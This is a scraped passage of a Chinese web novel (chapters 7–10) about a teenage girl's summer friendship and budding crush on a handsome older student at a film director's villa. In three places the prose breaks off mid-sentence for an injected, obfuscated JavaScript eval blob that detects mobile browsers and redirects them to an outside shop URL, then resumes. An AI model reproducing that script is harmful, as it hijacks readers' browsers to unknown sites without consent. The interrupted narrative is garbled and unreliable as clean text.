阳光正好,凌湛修长的冷白色手指夹着烟卷,黑色T恤被风吹得贴在身上,勾勒出平薄的腹肌轮廓。 屋里,贺峰朝厨房喊:“邱姐,幺妹儿,留下吃个饭嘛!” 邱姐摆手,客气里全是分寸:“不了,我们家头还有活路。” “那晚上放电影儿,幺妹儿要不要来?”贺峰又问。 合雨悠低头整理着菜筐,睫毛微微颤动,飞快看了一眼贺峰和凌湛,然后看向妈妈。 明显是想要留下的。 “小盒子和秋阳关系不错的,”贺峰转头对凌湛说,“去年暑假他们经常在这儿看电影。今年秋阳没来。” 凌湛抬眸。贺秋阳的名字让他眉头微不可察地皱了一下。 关系不错? 经常一起看电影? 夕阳西沉,邱姐和合雨悠离开时,留下一阵忙碌的余温。 到了晚上,别墅的庭院渐渐亮起来。三百平的草坪上,驱蚊灯在绿植间散发着幽幽的紫光。帆布幕被夜风轻轻鼓着,庭院一角摆着几张户外沙发,栀子花的香气若有似无地飘散。 合雨悠踏着晚风跑来时,凌湛正靠在沙发里看剧本。黑T、裸露而肌肉结实的前臂、翻着页的手,灯光把锁骨勾出清晰的阴影,睫毛投下一小片乌云。 “小盒子来咯。”贺峰招手,又朝沙发努下巴,“下午忘了介绍,这是凌湛。” “我晓得。”她条件反射,手忙脚乱地点头。 贺峰挑眉:“哦?你们同校啊?” “我不知道。”凌湛淡淡抬眼。 “不是一个学校……”她急忙补位,“他五十七中,我象山中学,挨得近,所以我们学校都知道他。”说完摸了摸鼻尖,视线像纸飞机扔过去又飞回来。 见他依旧面无表情地看着剧本,仿佛对这个话题毫无兴趣。 合雨悠有些紧张了。 这不能怪她,凌湛太出名……同桌花重金买一张他的偷拍拍立得,跟追星似的,经常在她耳边念,在日记本上写他的名字,许愿和他谈恋爱,希望台湾偶像剧的剧情能发生在她和凌湛身上。 去年秋天同桌还抓着她跑去五十七中看他们运动会,合雨悠本来不知道也该知道了…… 虽然她一直就知道。 入学象山中学不久,她就听说过了。 “哈哈,知道他,因为长得帅嘛。”贺峰叼烟失笑。烟雾在夜色里打了个卷,把院子轮廓磨成油画边。 凌湛懒懒往后一靠,一手搭沙发扶手,长腿松散,短裤下的小腿线条干净利落,青春期的棱角又野又规整。 院子里一片静谧,只有两条狗懒洋洋地趴在门口。大黄狗时不时抬头看看这边,大黑狗已经睡着了。 蚊香的青烟袅袅升起,和着栀子香气,在夏夜里酝酿出一种温柔而静谧的氛围。 “今晚看《罗生门》吧。”贺峰说,“黑泽明最巧妙的作品之一,同一个故事,四个视角,每个人眼中的真相都不一样。” “这场戏你怎么看?”贺峰摁下暂停,问凌湛。银幕停在密林深处,阴影交错。 凌湛沉吟片刻:“树影明暗暗示人物内心的挣扎。” 贺峰点头,忽然扭头逗角落里的小朋友:“幺妹儿,看懂没?” 合雨悠愣了一下,但还是认真地说:“那个强盗杀了人吧?” 闻言凌湛看向她,表情像看傻子一样。 合雨悠说:“不然是谁杀的,每个人都说的不一样,难道意思是真相并不存在绝对版本?那拍这个干什么呢?既然不抓凶手,总得有点意义吧?” 贺峰饶有兴致:“你觉得这样的讲述没有意义?” 合雨悠抓了下脸:“就是……贺叔你也知道我喜欢看名侦探柯南,本格推理什么的。不抓凶手对我来说就没意思了,这电影可能想讲的是人性吧……?就是,”她胡言乱语道,“每个人的人性的不一样的,道德观也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624777|187907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同,犯错后他们眼里的真相会不约而同偏向自己,认为自己最无辜。” 贺峰是很喜欢听这样的点评的,不同年纪不同经历的人,自然对这部电影有不同的见解,大多数这个岁数的小年轻,都不一定能把这部片子给看下去。 他和合雨悠聊了一会儿,贺峰夸她很有灵气:“你没看完都能抓住画面的气候。” 合雨悠松了一口长气:“其实好分辨啊。每个人讲述时,林子的光都不一样:有人眼里阳光辣眼睛,有人只有阴影。所以……强盗不是真凶?” 贺峰挑眉,凌湛的视线也从剧本上松开一点。 “观察入微。”贺峰哈哈大笑,“很多人看电影不看光影的。” 被两道目光夹击,她耳尖微红,只好把眼神焊在银幕上。 大概是他们换了一部更晦涩的片子的时候,合雨悠撑到一半,头一歪,在沙发角默默缴械。 她蜷缩在沙发角落,电影的光影在她脸上跳跃。邱姐晚点来接她时,轻手轻脚地想把女儿背起来。 “不好意思啊,幺妹儿睡着了。”邱姐有些歉意地说。 凌湛看着邱姐吃力的样子,只好上前帮忙。他的手不经意碰到合雨悠的腿,皮肤很滑,像块嫩豆腐,她在睡梦中动了动,小声嘟囔着:“触手怪……”声音软糯得像是在撒娇,但喊的内容…… 贺峰从屋里出来了,递给凌湛一个手电筒:“夜路不好走,送她们回去吧。”他叼着烟,目光落在熟睡的合雨悠身上,又笑着对凌湛说,“这丫头听故事一听就睡,去年看《七武士》也是,没到一半就睡着了。我问她爱看什么,她说她要看《咒怨》。” 山上的夜色浓稠如墨。手电筒的光束在山路上摇晃,照亮一小块青石板路。 橘浦村的夜晚格外静谧。从贺峰别墅的半山腰下来,要穿过一条蜿蜒的水泥路。路边是零星低矮的农房,暗黄的灯光从窗户里透出来。横七竖八的田埂在月光下呈现出朦胧的轮廓,夏夜的热气从泥土里蒸腾而起。 邱姐走了一段路就有些气喘:“平时骑电三轮的,今天被邻居借去了。这路还是费腿杆子。” 凌湛虽然不是本地人,但待了几年,能听懂方言。看着她扶着腰直起身的样子,干脆一抬手直接在合雨悠的背上拍了两下。 过两秒,合雨悠茫然地抬起头,闻到妈妈身上海飞丝洗发露的味道。 少女的声音还有些模糊和甜软:“妈,你打我了啊……” “妈没呢,妈背着你呢,怎么醒了?” “没打啊……”合雨悠显然是没睡醒,脑子里信号灯闪烁,“我就说有外星人吧……”声音软得像棉花糖。 然后邱妈就气喘吁吁地把合雨悠放下来了:“醒了就好,妈也背不动了,走回去噻。” 合雨悠迷迷糊糊地站直,一只手牵着妈妈的胳膊,注意到身旁还有一道高大的影子,拿着手电筒,她以为是贺叔,刚一扭头,对方就把手电递她手里了,低沉的嗓音说:“阿姨,既然你女儿醒了,那我不送了。” 合雨悠差点惊叫地跳起来,手电“咣当”把强光直戳他脸。那张脸毫无死角,桃花眼、薄唇、冷颌线,在强光下眯起眼,皱了皱眉别开头。 合雨悠心里“咚”地跳一下。 8. 第 8 章 第二天合雨悠和她妈妈没来,贺叔说:“她们一般隔三差五来一回,给我送菜,他们家菜种得特别可爱。” 菜种的特别可爱? 凌湛表示有时候不理解贺叔的形容词,是因为有毛毛虫蠕动吗?还是因为拿过一等奖? 清晨,凌湛背着卡片机出门。他走在山间小路上,取景框里,他三调五校,换光换角, 转过一个弯,他看见了合雨悠。 她蹲在自家门前的水沟边漱口,身上套着件皱巴巴的白色耐克T恤,耳机线挂脖子上,半眯着眼,睡意还在眼角打结。 “悠悠,要不要跟妈去看蜂箱?”邱莲戴着草帽出来,手里是割蜜的家伙什,“今天割蜜,去不?” 合雨悠鼓腮含着泡沫“咕”的一声,摇头如拨浪鼓:“要写作业……你这么早喊我,就是为了割蜜啊……” “那你在家把作业写了,别偷偷看动画片,早点写完。”邱莲说着拿上了钥匙,在家里说,“中午妈妈回来给你煮面。” 合雨悠点点头:“你几点回来……我给你煮。”她嘴里还含着水,说出来一串泡泡字。 邱莲:“十二点,如果我不回来,你就自己吃啊,别饿着。” 合雨悠仰头说:“好哦,我想吃猪耳朵,晚上你帮我买哈。” 邱莲说了好。 耳机里传来王力宏的歌,合雨悠闭着眼睛又打了个哈欠,低头继续漱口。阳光从树叶间漏下来,照在她泛红的耳尖上,牙膏白沫沿着嘴角滑进田埂。 凌湛手指停在快门上,没按。她抬头,正好迎着光看过来,背后一圈金边,像给小人物镀的圣像框。他“咔”地按下,光和影被锁进巴掌大小的一格晨间。 合雨悠显然也被他吓到,嘴里含着水,下巴糊着泡沫,手停半空。要打招呼呢,还是先把泡沫咽了? 昨晚在贺叔家,她打酱油听两位电影人讨论“光影如何自证其义”,连插话的缝都没找到。半夜回去他把手电递给她,人就走了。 严格来说,他们还没正式说过话。 此刻他举着相机站不远,像雕塑一样站得好看又身材好,她耳根立刻冲上发际线的红。礼貌起手点头、低头、继续漱口、当没看见。可眼角这玩意儿不长耳朵,偏要瞟,一瞟又一瞟,凌湛已经从画面里走开了。她心口“哐”的一声落了空。 合雨悠回屋打开电视看聊斋。 她是答应了邱莲不看动画片,但聊斋不是动画片啊! 顺便一心二用,画点速写作业。 画着画着就成了一张侧脸,高挺的鼻梁、眉弓骨,锋利的下颌线……好像二次元了点,不太像了。合雨悠轻轻叹了口气,用橡皮擦擦掉了。 又来了。 去年贺秋阳来玩,她也在背地里偷偷画了好多速写。 要说这是“少女心动”,也行,要说就是“见色起意的一点点幻想”,更贴切。她天生想象力丰富,上课总画漫画,于是恋爱这件事,难免先在想象里排练三遍。 班上男生多看她一眼,她都会觉得别人是不是暗恋她。 可是她不喜欢矮子啊。 也不喜欢长青春痘的男生啊。 更不喜欢胳膊比她还细的。 合雨悠打开抽屉,掏出一盒快用完的荷兰水彩调色。 “得买新的了……”合雨悠平时舍不得用,抠抠搜搜还是快用完了,“就是太贵了,一盒要三百块……” 不过比起她一直心心念念想买的Old Holland 90色全套木箱装而言还是很便宜,因为这一款代购要五万块左右。 她放下水彩笔靠在椅子上,一边看电视,手里百无聊赖地刷企鹅空间。突然一条表白墙动态让她愣住—— 【五十七中的凌湛学长,我好喜欢你!每次看你穿校服站在操场上的样子,就像从漫画里走出来的男主角。】 配图是偷拍的照片,凌湛站在阳光下,黑白分明的校服宽松,但他身材颀长。即便是偷拍,那张脸依然好看得让人移不开眼。 底下显示转载过万,评论一眼望不到头。 【好帅好帅!!!!我们学校为什么没有??】 【借楼高价收凌湛拍立得,价格好谈!!】 【好想看见真人,有没有近距离见过的家人,真人是不是像手办一样精致啊?】 …… 合雨悠表示像。 她捏的手办根本没这么精致。 Q/Q弹出消息提示,是同桌罗雅萱发来的:“雨悠!我刚下飞机!”,配了张仁川机场的照片。 从来没出过市的合雨悠放大照片,国外飞机场原来长这样啊? 怎么小小的。 “玩得开心吗?”合雨悠打字回复。 “开心!机场蹲到Kyle!真人比照片帅十万倍!” 她被这份喜悦感染,又想起高一那会儿,罗雅萱花五百收了一张凌湛拍立得,夸得满天流星雨,告诉他这是谁谁谁,有多帅多受欢迎多么学霸…… “对了,你还在老家过暑假吗?都不出去玩吗?” 罗雅萱的消息过来了。 “嗯,太热了。” 合雨悠今年回老家,不出去旅游,是因为想着贺秋阳或许会回国…… 但他没回来,来了个凌湛。 她看着手机,犹豫了一下要不要告诉她凌湛就在自己家附近旅游,好像是要短住。但想起罗雅萱之前为了凌湛的照片都能花五百块,要是让她知道真人就在这里……她连忙打消这个念头。 她可不想变偷拍狂魔。 等等…… 偷拍? 凌湛的拍立得是不是值五百块来着?? 这念头一起,瞬间像抽芽的草一样猛烈生长,一发不可收拾,合雨悠在表白墙下面找到了起码十条高价求拍立得和联系方式的人,她在本子上记下对方的号码,扭头望向了窗外。 那是贺叔别墅的方向。 合雨悠拉开抽屉底部,找到了拍立得相机。 --- 七八月的阳光毒辣,热浪从打开的窗户涌进来,合雨悠躺在床上目眩。 空调呼呼地转着,却只吹出温热的风。作业本摊在一旁,速写本死在半截。 汽车喇叭声在门口响起。她撑着发晕的脑袋起来,看见贺峰的路虎停在院子前。 “小盒子,就一个人在家么?你家那个野生蜂蜜还有吗?”贺峰下车问道,“去年你爸送我那瓶,我朋友尝了都说好,这回托我帮忙带两瓶。” “家里人都出去了,”合雨悠探头出阳台,“爸爸去市区送货,妈妈在大棚那边。”她顿了顿,“应该还剩一瓶,我去找找。” 她的目光不自觉地瞟向副驾驶。凌湛靠在座椅里,黑T恤衬得他肤色冷白。他微微偏着头看向窗外,眼窝深邃,睫毛长得看不清他的眼神,下颌在阳光下线条锋锐。 这要是张拍立得,不得八百啊……? 合雨悠心头热了起来,看帅哥和赚钱两件事同时在她眼里放光。她转身进屋翻找,很快找到那瓶深琥珀色的蜂蜜。她走到车旁将蜂蜜双手递给贺峰,脸颊被热气蒸得通红。 “你这是……”贺峰接过蜂蜜,皱眉看她摇摇欲坠的样子,“中暑了?” “没事,就是空调坏了。”她勉强笑笑,“爸妈这段时间太忙,还没来得及找人修。”大棚蔬菜和养蜂每年少说能赚个二三十万,父母是村子里的模范农民,但整个夏天都得忙得脚不沾地,而且空调这种东西,他们始终认为是浪费电。 “那还写什么作业,去我那写。”贺峰拉开车门,笑道,“空调不限量,去年你都还每天来,今年怎么回事?不爱去了?矜持了?” 合雨悠迟疑了一下。去年她爱去,是因为贺秋阳。 今年来的动力,可能是另一个名字。山路不过十五分钟,她点点头:“我拿书包!”顺手鬼使神差把拍立得也塞进包里。 随即合雨悠钻进后座,冷气扑面而来。凌湛的侧影映在车窗上,眉骨和鼻梁都高挺,眉眼深邃,他的眼神透过后视镜,注意到了她有点腼腆,又格外灼热专注的目光。 凌湛冷淡地挪开视线。 贺峰好像什么都没看见,转头对凌湛说:“门格箱里有藿香正气水,给小盒子一瓶。” 凌湛找到,把整个盒子都递了过去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624778|187907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没回头。 合雨悠伸手接过,在后座瞥他的耳朵轮廓和侧脸。 这角度也好,光线里无敌帅,五百一张肯定值的!! 合雨悠喝了藿香正气水,整张脸红得夸张,像喝醉酒一样靠在贺峰家的沙发上,不清楚自己为什么吹了空调更热了。 贺峰给她拿来一杯水:“藿香正气水有酒精,以后不能跟人喝酒,你这酒量,两口就上脸。” “谢谢贺叔,”合雨悠乖乖地接过水,抱着水杯喝了几口,又掏出自己的拍立得,开始铺垫:“贺叔,我想在房子里拍点照片,可以吗?” 贺峰看了一眼:“哦?富士拍立得啊,可以啊,不过这相纸贵,可别浪费,你拍吧,这家里你喜欢哪里就拍哪里。” 合雨悠又道谢。她从下车后,看见凌湛上楼,就没再见他下来了。 拍立得相纸金贵,她也不敢胡按。于是像巡视展厅一样转了一圈,不见身影,只好轻手轻脚上二楼。楼梯口往下看,贺峰立在黑色岩板地上抽烟,远望长江浪白,往上看是阁楼,隐约传来电影对白,可惜听不清楚。 里面是个家庭私人电影院,她知道。 看来凌湛就在里面。 合雨悠心想怎么给他拍照呢? 怎么偷拍才不会被发现呢? 她端着机子对准天窗,装作研究建筑光影,这屋子本身就是艺术品,拍窗拍梁都名正言顺。等他一开门,她“咔嚓”定格就好。 过了几秒,她放下相机。 考虑到拍立得的成像比较麻烦,如果是人像的话,必须维持模特几秒钟不动,拍立得的成像才不会模糊。 合雨悠在门口来回踱步了起码十分钟……忽然理解那张拍立得五百的发行价为何如此□□,这玩意儿真得“天时地利人不动”。 就在这时,阁楼房间门忽然从里头打开。 合雨悠下意识后退半步,惊惶下抬头和凌湛对上视线,手里的快门键不受控制地一按,“咔嚓——”,拍立得“滋滋滋”地生出一张照片来,然后落在了地上。 她一个箭步把相片捡起。 凌湛挑眉,神色淡得像水墨。 合雨悠抬起脑袋此地无银三百两地解释:“我没拍你,我在拍建筑。” 他连意会都懒得,擦身而过进了洗手间。 合雨悠听见卫生间里传来哗啦啦的放水声,愣了几秒,抓着扶手落荒而逃般跑下了楼。 一楼沙发上,合雨悠看着刚成像的照片,心在滴血——半个身体、半个下巴,肩宽腰窄,黑T落在身上像顺了风,隐约可见块块分明的肌肉线条,偏偏脸没进画,五百瞬间打骨折。 拍立得赚钱计划——大失败!! 贺峰正好经过,瞥见了她手里的照片,若有所思来了句:“喜欢凌湛?叔帮你追他。” 她的脸“噌”地烧到天灵盖,三连否认:“不是!我在拍天窗!他突然出来我手抖了,浪费相纸!我真的没有喜欢他,真的,贺叔。”合雨悠满眼都是真诚。 贺峰笑笑,没说什么,正好手机响了,看一眼:“是秋阳的电话,正好。” 二楼栏杆处,凌湛俯身,居高临下把这一幕看了个清楚。 屏幕里贺秋阳的脸出现,父子寒暄几句,问候了母亲的身体,顺口道:“小盒子在我这儿呢,打个招呼不?” 贺峰走到合雨悠旁边,开了后置,合雨悠露出一个僵硬的笑,摇摇头,不知道自己被拍成什么样,却听见电话里传来贺秋阳沉稳的温和声线:“雨悠,你好,又长漂亮了。” 合雨悠脸色瞬间通红,小声摆手说:“你好”、“没有”、和“谢谢你秋阳哥哥”。 贺峰很快拿着手机离开,合雨悠脸上的红还没褪下来,感觉一道视线落下,她仰头去,却看见凌湛面无表情地在二楼栏杆处盯着她,这个角度仿若天神,眉骨高挺,鼻梁挺直而轮廓深邃,浑身气质好像天生高处不胜寒一样。 合雨悠一脸无助,不知道他在注视什么,拍个照而已,不至于吧…… 跟着,他抬手,指了指她,唇角勾起一点若有若无的弧:“小盒子,帮我拿一下茶几上的打火机。” 9. 第 9 章 就一层楼他不能自己下来吗? 虽然这么想,合雨悠还是找到打火机给他拿了上去,凌湛接过去:“你和贺秋阳关系很好?” 她一愣,老实回答:“我们是玩过几个暑假……” 凌湛的睫毛半垂,漆冷的眼神掩藏在深邃睫毛下,慢悠悠丢一句:“怎么玩的,上床了?” 合雨悠瞬间僵硬,随即不可思议地抬头盯着他。凌湛俯身注视她的脸,微微眯眼,神态像一只诱人的狐狸:“没有吗?他看起来很喜欢你。” 他注视合雨悠的神色变化,猜测她和贺秋阳可能属于两情相悦,只是相隔太远,这层窗户纸很朦胧。 这就有意思了,凡是贺秋阳喜欢的,凌湛都要抢,包括他的父爱。 贺峰对凌湛的好,几乎拿他当儿子来看待和栽培的,他用了全部心思教凌湛学习电影,比对亲生儿子贺秋阳还要看重。 一方面是凌湛有天赋,另一方面……他贺家对不起凌湛,这种对不起值得用一生偿还。而凌湛憎贺秋阳入骨,他不希望这个人可以像正常人那样过完健全的一生。 那样怎么对得起他被活活烧死的母亲? 合雨悠还对他的话反应不过来,惊愕道:“你、你怎么这样……!”……等等,贺秋阳真的很喜欢她吗? 贺秋阳告诉凌湛的? 合雨悠一边生气一边不由自主琢磨这句话,表情看起来又怒气冲冲又像沉思。 “算了,我的问题太过了,你不用回答。”凌湛慢慢收起那股凌厉尖锐,神态缓转下来,问她,“你叫什么?” 她闷闷道:“合雨悠。” “盒子的盒?” “分久必合的合,下雨的雨,悠悠球的悠。”合雨悠很想把自己那股不舒服给说出来,撞上他那双深不见底的眼,她发现自己有点说不出口。 “哦。”他漫不经心。 合雨悠气息有些起伏,发现凌湛要走,声音比脑子快:“等等。” 凌湛侧头。 合雨悠忍了忍,抬头道:“你刚刚那样,我觉得非常非常的不礼貌!你知道吗?” 凌湛说:“知道啊。” 合雨悠:“……” 合雨悠拧眉:“既然知道你为什么要那样说话?你妈妈没有教过……” 他平静地说:“我妈死了。” 合雨悠被打断施法,停住。 然后她沉默了半晌,小声说:“抱歉,但、但这不是理由,你和我想的不一样,我以为你有正常的家教,那你还有爸爸呢……” 凌湛就偏头,回答:“我爸也死了。” 合雨悠:“……?” 啊这…… 合雨悠脸色登时有点泛白了,看他的眼神也不由得怜悯起来。而且怕被察觉,她很快别开眼。 凌湛却只是眯着眼笑了笑:“我和秋阳是朋友,我关心他的交友才问的。抱歉,下次不这样了。”他笑起来有浓烈的狐狸像,非常俊美。凌湛眼尾轻轻一扫:“你还在生气?” 合雨悠想说没有了,可对方都父母双亡了……这么可怜了,也道歉了。 要不就算了吧…… 可还是、还是有点咽不下这口气。 “嗯!我还有点生气。”她点头,脸微鼓。 凌湛弯腰,一束光从落地窗洒在了他的侧脸轮廓上,视线专注而嘴唇微翘:“还生气啊,那我应该怎么补偿你?” 合雨悠呆住,因为凌湛离得太近了,气息灼热的就在脸旁。“咚咚、咚咚……”她听见自己清晰的心跳声,自胸腔传来。 “拍立得……” 赚钱买高级水彩的念头很快占据了全部思维,合雨悠定心神,对上那双黑眸:“我要你做我的摄影模特!” 嗯!对!就是这个理由! 凌湛似乎不怎么意外,复而直起身来,没有离她那么近了,问:“你很喜欢拍照?” 合雨悠坚定地点头乱编:“是的,我以后要当摄影师。” 凌湛:“哪个摄影师用拍立得训练?” 合雨悠:“那我家只有这个我怎么办。” 在韩娱,数码照片白给都没拍立得值钱,同桌跟她科普过这个。 “哦,”凌湛嗓音平淡地说,“那你去拿相机吧,要拍什么风格,穿不穿衣服的?” 合雨悠又宕机了。 男生说话都这样吗? 合雨悠这个年纪能接触的男生,就班上那些,还有就是贺秋阳。贺秋阳是个非常礼貌的哥哥,身上虽然有大量纹身,看起来不太好惹,但说话温文儒雅,虽然带着一些距离感。而班上男同学…… 有些挺正常的,有些挺下水道的,在班上做下流的游戏,开下流的玩笑,讨论女生的胸部,合雨悠就是那个被人谈过的,他们甚至会旁若无人地谈论岛国片剧情…… “你不能不穿衣服,要穿的。就是,不穿不太好吧。” 凌湛微笑说:“好的,摄影师,那你把相机拿上来,我们在哪拍?” 楼下贺叔在。合雨悠想了想,抬头看别墅的场景。如此私密的环境,一看就是家里,一般人不可能得手,可她也并不想暴露贺叔住宅的环境,所以避免过于特征的场景。 于是合雨悠说:“采光好一点的半身照吧,要不出去吧,在树林里?” 凌湛这会儿很配合她,合雨悠的机子里相纸不多了,在外面拍了几张,还跟他说:“你不要抽烟,这样不好。”对她的照片不好,烟雾影响成片,这么贵的相片废了两张了。 凌湛说:“我知道对肺不好,我爸就是这么走的。” 合雨悠微微抬眼,没敢对此吱声。 她说:“我想再来一张。” 凌湛把烟掐了,侧身找光,喉结在斑驳里一跳:“摄影师,这里?” “这里好,这个角度好看,你别动,1、2、3……” “咔嚓”—— 合雨悠低头检查成像,非常好,脸很帅,半身像,这环境看不清在哪,说是学校树林也很合适。 凌湛:“满意吗?” 合雨悠没抬头,嘴角在乐,思索这照片怎么也得六七八百吧,够买两盒水彩了。她嘴里沉稳地嗯了一声:“还可以,你要是换身校服就更好了……” 凌湛:“摄影师还有着装要求?” 摄影师说是啊:“你有没有校服?” “校服在家。”凌湛说。 “没带吗。”合雨悠略显失望。 凌湛:“一定要穿校服的?”他顿了顿说,“那等回学校了你再给我打电话,你不是象山中学的吗。” 凌湛拿出手机:“合雨悠,把你电话号码给我。” 合雨悠稀里糊涂地就给他了。 凌湛给她打电话,而后备注:“哪个悠?” 合雨悠回答:“悠悠球的悠。” 凌湛打好备注。 合雨悠瞥了一眼,他给她的备注是三个字:“悠悠球”。 ……好吧。 两人拍完照回到别墅,合雨悠仔细地放好拍立得,怕它们磨损影响售价,于是用卫生纸单独包装后塞进本子夹页,再稳妥地放入书包。 凌湛瞥见她如此小心对待的做法,没说话。 紧跟着贺叔也进来道:“对了凌湛,你爸刚刚给我打了个电话。” 闻言合雨悠猛地扭头,一脸疑惑。 他爸不是死了吗? 骗她的么。 ……难道是养父? “你不能总不接他电话,有多大的矛盾啊,至于么。来来来,叔跟你坐下谈……”贺峰招手把人喊过去了。 合雨悠在脑海里给凌湛编了一系列父母双亡后被收养的剧情,对此也不敢多问,却难免在心底认为他恐怕是个缺爱的童年不完整的孩子。 有这么个开头,贺峰的别墅便成了合雨悠写作业的避暑圣地。准确来说,有时候凌湛会给她发短信,问她今天来不来写作业。 合雨悠会回:“我不知道,我要问妈妈……” 凌湛会回:“妈宝。” 合雨悠:“……” 她隔三差五跟着妈妈来送一趟菜,家里没人的时候,她也跑过来写作业,有时会被妈妈说。 “来就来呗,多好,”贺峰招呼道,“这么大房子,就我一个人,太安静了。”他瞥了眼合雨悠,“大棚那边又热,姑娘还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624779|187907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得学习,邱姐你舍得让孩子热坏么,你们今年大棚这么忙么?” “可不是,”邱莲擦了擦汗,声音里带着几分自豪,“最近忙得很,又接了两个大棚的活!超市订单多,光西红柿一天就是几百斤!” 落地窗边,凌湛戴着耳机对片,光影在他脸上打磨出雕塑的边。 偶尔抬眼,他能看见那个悠悠球安安静静地趴在桌上,一头柔顺的黑发随意地扎起来,杏眼偷看,偷看被他逮个正着,再“嗖”地低头,像一条被钓上来但很会咬钩的小锦鲤。 “悠悠球。”他偶尔会喊她,嗓音低沉。一喊她就抬头。 有时凌湛是让她去拿本书,有时是叫她去冰箱帮他带一瓶冰镇的饮料,拿手机,拿充电器,拿U盘……等等。 这次数一多,合雨悠就问他:“少爷,我是您的佣人吗?” 少爷说:“不是。” 合雨悠:“那为什么总让我帮你拿东西?” 凌湛:“就是想喊你过来。” 合雨悠磕巴了:“你、你喊我过来做什么……” 凌湛注视进她透亮的琥珀色双瞳,一字一句低声回答:“我、不、知、道。” 她被这四个字堵成了哑巴。 凌湛靠在沙发上:“看我干嘛?没事我不能喊你么,不让?这么霸道。” 合雨悠脸红到耳朵背,语无伦次:“不是……就是,你……” 凌湛挑眉:“是我打扰你写作业了?” 合雨悠:“有一点吧……” 其实也没有,暑假作业没什么难度,闭着眼都能写啦。 凌湛声音淡漠:“那不喊你了,你去写吧。” 合雨悠走回桌边,表情又有点失望。可能是平时几乎没接触过这种男生,感觉很微妙。 因为凌湛可以说是不容置喙的大帅哥,无论是什么方面来看,外表都很完美。性格又有点…… 不像看起来那样高冷难以接近。 甚至给她一种可得性,好像她死皮赖脸追一追,就能谈上了…… 甚至于给她更大的错觉,凌湛是不是也对她…… 毕竟,合雨悠低头照了照镜子。 她明明也很漂亮啊! 在贺叔家里,合雨悠除了写作业、画自己的外星故事分镜图,就是间隙用旧手机和罗雅萱聊两句她不是很感兴趣的追星。 空调的冷气在房间里流淌。凌湛看电影剪片子,合雨悠写作业画画。两个人隔着不远的距离,却像两个平行的世界,偶尔会有目光交错的瞬间。 有几次合雨悠偷看他,都被捉了个正着,又见他没什么表情,好像又耐人寻味的眼神。 ……总的来说两个人算是交上了朋友。 阁楼的放映室是凌湛的领地。 斜顶的天窗下摆着一台投影仪,幕布几乎占据了整面墙。昏暗的空间里只有一盏落地灯,光线像流动的水银,勾住少年清冷的轮廓。 他常一个人窝在这儿,指尖捏遥控,眉骨沉静,黑T隐在暗处,只有那道颌线锋利得像刻刀。 偶尔路过的合雨悠会在楼梯口驻足,看他沉浸在光影中的样子,黑发凌乱地搭在额前,遮住了那双漆黑的眼睛。有时候合雨悠会被邀请进去一起看。 今天她端着水果上楼,推门的瞬间愣在原地。 银幕上,一个女人正跨//坐在男人身上叫,画面晦暗却暧昧。《杀人回忆》的配乐在空旷的阁楼里回荡.合雨悠下意识捂眼,脸“唰”地红到脖颈,这不是三级片吧?! 她想转身逃走,身后低声拧来:“跑什么?” 他并不看屏幕,侧脸微一偏,睫影在颧骨上收拢成一撮暗羽,嘴角很浅地抬了个弧,像要笑又没笑:“破案的都不敢看?” 合雨悠摇头,从指缝里偷偷看他,只见凌湛拇指在遥控器上轻轻一顿,眉梢极轻的一点上挑:“那我给你跳过。” 投影把他眼底的亮点压得很深,黑得像水井,反光朝她侧首一动,合雨悠的心跳就失了拍。 ……跳过干什么,她才不要看!她转身就要走。 “过来。”凌湛语尾被喉结轻轻一碰,拎她回来,“陪我看会儿。” 10. 第 10 章 合雨悠扫了眼电影片段,发现好像是正常片子,因为她看见熟悉的韩国演员了,于是在沙发另一端坐下,与他隔开一个位置。 窗外的光亮漫进来,落在凌湛的侧脸上。他随手将黑发向后捋了一把,露出一段干净的额头,黑色T恤的领口微敞,锁骨的弧度隐约可见。 凌湛按下遥控器快进,跳过电影里短暂暧昧的画面。昏暗中,投影的光在他轮廓分明的脸上跳动。合雨悠坐得端正,生怕多动一下就被判“思想不纯”。 楼下突然传来一阵嘈杂声,打破了阁楼的宁静。 “向悦!你怎么自己来了?”贺叔的声音里带着惊喜。 “贺叔!”清亮娇俏的女声传来,“爸爸在机场接个朋友,让我们先过来,打车来的呀。” 听见声响,凌湛的眉头不着痕迹地皱了一下。合雨悠偷瞄眼,却见他已站起身,不是下楼,而是走到门边,钥匙在锁孔里转动,发出一声细微的“咔哒”。 随着这声,合雨悠手一紧:“为什么锁门了啊?” 凌湛说:“很烦。” 合雨悠后知后觉,他的烦,说的是刚来的那人。 凌湛重新坐回去,神色淡漠如常。 “他们是谁,你很讨厌他们么?”合雨悠从沙发走开,半跪在阁楼低矮的圆窗边往下瞧。 